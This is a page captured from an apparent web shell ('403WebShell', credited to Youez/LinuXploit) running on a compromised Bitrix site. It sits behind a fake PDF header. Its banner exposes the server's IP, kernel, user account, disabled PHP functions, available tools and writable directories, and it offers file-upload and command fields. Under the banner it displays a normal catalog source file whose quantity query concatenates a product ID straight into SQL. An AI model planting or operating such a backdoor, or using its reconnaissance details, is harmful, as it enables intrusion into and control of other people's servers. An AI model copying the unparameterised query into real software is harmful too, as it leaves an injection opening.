%PDF- %PDF- 403WebShell
403Webshell
Server IP : 37.220.80.31  /  Your IP : 13.59.123.182
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux 3051455-guretool.twc1.net 5.15.0-107-generic #117-Ubuntu SMP Fri Apr 26 12:26:49 UTC 2024 x86_64
User : www-root ( 1010)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/www-root/data/www/dev.artlot24.ru/bitrix/modules/catalog/general/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/www-root/data/www/dev.artlot24.ru/bitrix/modules/catalog/general/store_utility.php
<?php
IncludeModuleLangFile(__DIR__.'\\store_docs.php');

class CCatalogStoreControlUtil
{
	protected static $storeNames = array();

	/** By store ID, returns its title and\or address.
	 * @param $storeId
	 * @return string
	 */
	public static function getStoreName($storeId)
	{
		$storeId = (int)$storeId;
		if ($storeId <= 0)
			return '';

		if (!isset(self::$storeNames[$storeId]))
		{
			$storeIterator = CCatalogStore::GetList(
				array(),
				array('ID' => $storeId),
				false,
				false,
				array('ID', 'ADDRESS', 'TITLE')
			);
			$storeName = '';
			if ($store = $storeIterator->Fetch())
			{
				$store['ID'] = (int)$store['ID'];
				$store['ADDRESS'] = (string)$store['ADDRESS'];
				$store['TITLE'] = (string)$store['TITLE'];
				$storeName = ($store['TITLE'] !== '' ? $store['TITLE'].' ('.$store['ADDRESS'].')' : $store['ADDRESS']);
			}
			unset($store, $storeIterator);
			self::$storeNames[$storeId] = $storeName;
		}
		else
		{
			$storeName = self::$storeNames[$storeId];
		}

		return $storeName;
	}

	/** Returns an array, containing information about the product block on its ID.
	 * @param $elementId
	 * @return array|string
	 */
	public static function getProductInfo($elementId)
	{
		$elementId = intval($elementId);
		$result = "";
		if($elementId <= 0)
			return $result;

		$dbProduct = CIBlockElement::GetList(
			array(),
			array("ID" => $elementId),
			false,
			false,
			array('ID', 'IBLOCK_ID', 'IBLOCK_SECTION_ID', 'DETAIL_PICTURE', 'PREVIEW_PICTURE', 'NAME', 'XML_ID')
		);
		while($arProduct = $dbProduct->GetNext())
		{
			$imgCode = "";

			if($arProduct["IBLOCK_ID"] > 0)
				$arProduct["EDIT_PAGE_URL"] = CIBlock::GetAdminElementEditLink($arProduct["IBLOCK_ID"], $elementId, array("find_section_section" => $arProduct["IBLOCK_SECTION_ID"]));

			if($arProduct["DETAIL_PICTURE"] > 0)
				$imgCode = $arProduct["DETAIL_PICTURE"];
			elseif($arProduct["PREVIEW_PICTURE"] > 0)
				$imgCode = $arProduct["PREVIEW_PICTURE"];

			$arProduct["NAME"] = ($arProduct["NAME"]);
			$arProduct["DETAIL_PAGE_URL"] = htmlspecialcharsex($arProduct["DETAIL_PAGE_URL"]);

			if($imgCode > 0)
			{
				$arFile = CFile::GetFileArray($imgCode);
				$arImgProduct = CFile::ResizeImageGet($arFile, array('width' => 80, 'height' => 80), BX_RESIZE_IMAGE_PROPORTIONAL, false, false);
				$arProduct["IMG_URL"] = $arImgProduct['src'];
			}

			return $arProduct;
		}
		return $result;
	}

	/** Checks whether the same method in the class, describing the transmitted document type. Calls this method and returns a set of fields for this type of document.
	 * @param $docType
	 * @return bool
	 */
	public static function getFields($docType)
	{
		if($docType <> '' && isset(CCatalogDocs::$types[$docType]))
		{
			$documentClass = CCatalogDocs::$types[$docType];
			if(method_exists($documentClass, "getFields"))
			{
				return $documentClass::getFields();
			}
		}
		return false;
	}


	/** Generate a list of products on which did not match the total number and amount of all warehouses.
	 * @param $arProduct
	 * @param int $numberDisplayedElements
	 * @return string
	 */
	public static function showErrorProduct($arProduct, $numberDisplayedElements = 10)
	{
		$strError = '';
		$numberDisplayedElements = intval($numberDisplayedElements);
		if($numberDisplayedElements < 1)
			$numberDisplayedElements = 1;
		if(is_array($arProduct))
		{
			foreach($arProduct as $key => $product)
			{
				$strError .= "\n- ".$product;
				if($key >= ($numberDisplayedElements - 1))
				{
					$strError .= "\n...".GetMessage("CAT_DOC_AND_MORE", array("#COUNT#" => (count($arProduct) - $numberDisplayedElements)));
					break;
				}
			}
		}
		return $strError;
	}

	public static function getQuantityInformation($productId)
	{
		global $DB;

		return $DB->Query("SELECT SUM(SP.AMOUNT) as SUM, CP.QUANTITY_RESERVED as RESERVED FROM b_catalog_store_product SP INNER JOIN b_catalog_product CP ON SP.PRODUCT_ID = CP.ID INNER JOIN b_catalog_store CS ON SP.STORE_ID = CS.ID WHERE SP.PRODUCT_ID = ".$productId."  AND CS.ACTIVE = 'Y' GROUP BY QUANTITY_RESERVED ", true);
	}

	public static function clearStoreName($storeId)
	{
		$storeId = (int)$storeId;
		if ($storeId > 0)
		{
			if (isset(self::$storeNames[$storeId]))
				unset(self::$storeNames[$storeId]);
		}
	}

	public static function clearAllStoreNames()
	{
		self::$storeNames = array();
	}

	public static function loadAllStoreNames($active = true)
	{
		$active = ($active === true);
		self::$storeNames = array();
		$filter = ($active ? array('ACTIVE' => 'Y') : array());
		$storeIterator = CCatalogStore::GetList(
			array(),
			$filter,
			false,
			false,
			array('ID', 'ADDRESS', 'TITLE')
		);
		while ($store = $storeIterator->Fetch())
		{
			$store['ID'] = (int)$store['ID'];
			$store['ADDRESS'] = (string)$store['ADDRESS'];
			$store['TITLE'] = (string)$store['TITLE'];
			self::$storeNames[$store['ID']] = ($store['TITLE'] !== '' ? $store['TITLE'].' ('.$store['ADDRESS'].')' : $store['ADDRESS']);
		}
		unset($store, $storeIterator, $filter);
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit